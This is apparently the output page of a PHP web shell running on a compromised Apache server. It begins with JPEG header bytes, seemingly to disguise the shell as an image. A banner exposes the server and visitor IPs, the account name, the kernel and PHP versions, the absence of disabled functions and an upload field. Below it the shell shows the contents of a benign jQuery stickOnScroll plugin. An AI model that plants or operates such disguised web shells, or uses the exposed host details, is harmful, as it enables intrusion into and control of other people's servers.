ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/public/plugin/stickOnScroll/ |
Upload File : |
/**
* jquery.stickOnScroll.js
* A jQuery plugin for making element fixed on the page.
*
* Created by Paul Tavares on 2012-10-19.
* Copyright 2012 Paul Tavares. All rights reserved.
* Licensed under the terms of the MIT License
*
*/
!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function(e){"use strict";function t(t){var n,s,l=i[e(this).prop("stickOnScroll")];for(n=0,s=l.length;n<s;n++)!function(t){var i,s,r,c,p,f;null!==(t=l[n])&&(e.contains(document.documentElement,t.ele[0])||(l[n]=t=null)),null!==t&&(i=t.viewport.scrollTop(),s=t.getEleMaxTop(),!1===t.isWindow&&o&&t.ele.stop(),i>=s?(r={position:"fixed",top:t.topOffset-t.eleTopMargin},!1===t.isWindow&&(r={position:"absolute",top:i+t.topOffset-t.eleTopMargin}),t.isStick=!0,t.footerElement.length&&(c=t.getEleTopPosition(t.footerElement),p=t.ele.outerHeight(),f=r.top+p+t.bottomOffset+t.topOffset,!1===t.isWindow?f=p+t.bottomOffset+t.topOffset:(f=r.top+i+p+t.bottomOffset,c=t.getElementDistanceFromViewport(t.footerElement)),f>c&&(!0===t.isWindow?r.top=c-(i+p+t.bottomOffset):r.top=i-(f-c))),!0===t.setParentOnStick&&t.eleParent.css("height",t.eleParent.height()),!0===t.setWidthOnStick&&t.ele.css("width",t.ele.css("width")),t.isViewportOffsetParent||(r.top=r.top-t.getElementDistanceFromViewport(t.eleOffsetParent)),o&&!1===t.isWindow?t.ele.addClass(t.stickClass).css("position",r.position).animate({top:r.top},150):t.ele.css(r).addClass(t.stickClass),!1===t.wasStickCalled&&(t.wasStickCalled=!0,setTimeout(function(){!0===t.isOnStickSet&&t.onStick.call(t.ele,t.ele),t.ele.trigger("stickOnScroll:onStick",[t.ele])},20))):i<=s&&t.isStick&&(t.ele.css({position:"",top:""}).removeClass(t.stickClass),t.isStick=!1,!0===t.setParentOnStick&&t.eleParent.css("height",""),!0===t.setWidthOnStick&&t.ele.css("width",""),t.wasStickCalled=!1,setTimeout(function(){t.isOnUnStickSet&&t.onUnStick.call(t.ele,t.ele),t.ele.trigger("stickOnScroll:onUnStick",[t.ele])},20)),0===i&&t.setEleTop())}(l[n]);return this}var o=!1===e.support.optSelected,i={};e.fn.stickOnScroll=function(o){return this.each(function(){function n(){r.setEleTop(),s=r.viewport.prop("stickOnScroll"),r.isWindow||(r.isViewportOffsetParent=r.eleOffsetParent[0]===r.viewport[0]),s||(s="stickOnScroll"+String(Math.random()).replace(/\D/g,""),r.viewport.prop("stickOnScroll",s),i[s]=[],r.viewport.on("scroll",t)),i[s].push(r),r.viewport.scroll()}if(e(this).hasClass("hasStickOnScroll"))return this;var s,l,r=e.extend({},{topOffset:0,bottomOffset:5,footerElement:null,viewport:window,stickClass:"stickOnScroll-on",setParentOnStick:!1,setWidthOnStick:!1,onStick:null,onUnStick:null},o),c=1800;return r.isStick=!1,r.ele=e(this).addClass("hasStickOnScroll"),r.eleParent=r.ele.parent(),r.eleOffsetParent=r.ele.offsetParent(),r.viewport=e(r.viewport),r.eleTop=0,r.eleTopMargin=parseFloat(r.ele.css("margin-top")||0)||0,r.footerElement=e(r.footerElement),r.isWindow=!0,r.isOnStickSet=e.isFunction(r.onStick),r.isOnUnStickSet=e.isFunction(r.onUnStick),r.wasStickCalled=!1,r.isViewportOffsetParent=!0,r.setEleTop=function(){!1===r.isStick&&(r.isWindow?r.eleTop=r.ele.offset().top:r.eleTop=r.ele.offset().top-r.viewport.offset().top)},r.getEleTopPosition=function(e){return r.isWindow?e.offset().top:e.offset().top-r.viewport.offset().top},r.getEleMaxTop=function(){var e=r.eleTop-r.topOffset;return r.isWindow||(e+=r.eleTopMargin),e},r.getElementDistanceFromViewport=function(e){var t=e.position().top,o=e.offsetParent();return o.is("body")||o.is("html")?t:(o[0]!==r.viewport[0]?t+=r.getElementDistanceFromViewport(o):t+=r.viewport.scrollTop(),t)},!0===r.setParentOnStick&&r.eleParent.is("body")&&(r.setParentOnStick=!1),e.isWindow(r.viewport[0])||(r.isWindow=!1),r.ele.is(":visible")?n():l=setInterval(function(){!r.ele.is(":visible")&&c||(clearInterval(l),n()),--c},100),this})}});